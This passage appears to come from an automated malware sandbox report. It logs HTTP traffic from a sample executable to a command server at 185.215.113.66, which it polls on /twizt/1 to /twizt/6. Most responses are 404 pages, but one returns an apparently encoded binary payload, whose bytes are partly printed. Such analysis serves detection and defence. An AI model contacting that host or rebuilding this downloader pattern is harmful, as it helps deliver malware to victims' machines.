20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:50.769622087 CEST	19229	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:50.826114893 CEST	19231	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:50 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:51.840993881 CEST	19234	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:51.906789064 CEST	19236	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:52.911853075 CEST	19244	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:52.970256090 CEST	19245	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:52 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49800	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:56.210105896 CEST	19245	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:56.276905060 CEST	19246	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:57.308902025 CEST	19247	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:57.365096092 CEST	19247	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:57 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:58.510873079 CEST	19248	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:58.567092896 CEST	19249	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:58 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:18:00.069252014 CEST	19249	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:18:00.125408888 CEST	19250	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:18:00 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49734	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:16:23.319304943 CEST	858	OUT	GET /twizt/1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:23.375932932 CEST	860	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:23 GMT Content-Type: application/octet-stream Content-Length: 6912 Last-Modified: Tue, 30 Aug 2022 14:40:56 GMT Connection: keep-alive ETag: "630e2178-1b00" Accept-Ranges: bytes Data Raw: 9a 7f de d5 e2 46 7d bf c5 ae 8a 54 80 13 84 48 15 28 c5 89 e6 41 b7 f7 1a 52 5b be 40 05 0b 9e c8 be f6 c2 1d e6 a2 19 06 fd 75 2e 51 15 d8 bf a5 4b 13 a9 8b 83 a5 0a f3 68 23 a2 65 24 4e 81 42 93 29 cd f8 f3 dd 57 35 f8 15 0b 83 b0 a3 61 0d f4 60 ed f6 4e 5f 4c 24 a8 61 52 c3 4c 25 d1 40 d4 44 46 15 23 f5 72 d5 62 f7 b7 df 6f 01 20 d5 95 15 3d 23 ab 38 b0 3b 84 a3 90 80 59 96 1e 73 8d 77 f2 d9 b9 b8 18 9e 37 d2 d2 bc 96 a1 1f 1e 4f 2e 16 f6 45 0d 8c ce f2 92 06 2d 08 2c ea 9a 5b 88 90 3b 45 ce cb 26 a6 91 30 b2 84 15 6b a2 81 29 b5 77 41 95 3e 83 8b 5d 58 cd 60 f6 2f 24 cc 50 9f 81 9f a8 8e 45 76 20 4b 67 b9 ce 51 cd 88 11 82 30 41 c3 5f d6 b4 8e 5f 15 b4 09 f8 3c 74 f3 e7 66 4f 5b 01 81 38 1a aa 0e 1d f4 39 c6 9b 07 32 01 d9 2d 69 fe 8d 3b 68 ce 8a ee 01 85 d2 51 f6 cc 3d 3f 14 f5 b5 37 3e d4 0f 5a c1 a0 43 b4 5a 49 60 4b 6e fb dc f7 fe b0 7f 30 3b 9c 40 af 26 a2 dc 16 e7 9b b2 64 d1 09 64 94 bd 4e 0c b7 5b 2c bc 72 4f 86 2b a7 b1 06 17 4c 98 19 80 c8 ee 06 7c 2f 09 17 7f b7 de 04 62 a9 7f e8 12 87 7a 76 7d 67 c2 a7 e4 b6 63 04 2b fe d8 a0 0f d7 5b db d7 8b ef e3 92 c6 16 d7 23 2e 1d 3f d8 85 25 52 f6 c3 22 a5 26 0d 38 96 7b 0c 83 eb 10 de 0f b4 23 98 93 7c e6 8d 3c d0 f5 c3 36 7f e8 e3 c7 21 ba c8 8f cb 0c d5 e9 df d2 9f b2 37 45 c8 0d 92 c9 f9 dd 2a f6 f2 cb 48 ae 55 8d 87 8d 1b 97 f7 9b d7 7d b3 7d 7d 09 b3 10 54 67 1e 24 bf ae cd d8 04 42 c5 fe 8f 25 a9 63 e9 05 c2 3f 04 27 d7 de e9 0b 5c a4 93 54 0e 77 a8 f2 cd 7e 41 a9 98 31 e2 51 93 70 ff e6 9c 63 4f 55 ab 71 01 f0 55 58 10 b4 85 a6 bc 11 c6 c6 eb 94 43 96 9b a3 54 83 9e b6 1b 55 26 41 66 4e b7 b7 99 fa 1e 57 83 71 08 ad 77 47 dc 5c 51 e8 7b c6 47 fd f6 ea d2 05 53 9e 4b c7 7a c6 b8 1e b7 76 9a 04 33 4d e4 8d 36 15 4d 05 23 85 48 e2 d1 1c c2 9f 87 05 a6 5d 3f 09 b5 90 9d 99 17 ce b9 4c 31 eb 09 a0 12 95 df f5 a6 05 42 85 04 3e 9a 95 ac 34 25 d6 b7 d7 f9 e9 62 cf 8c 51 53 f1 dc 25 be 71 5b ff 03 cc 02 b3 44 ef 3d 32 98 23 d7 61 2a 79 8d 85 6f 7b f2 83 08 61 c5 a6 ae a6 10 30 1a eb 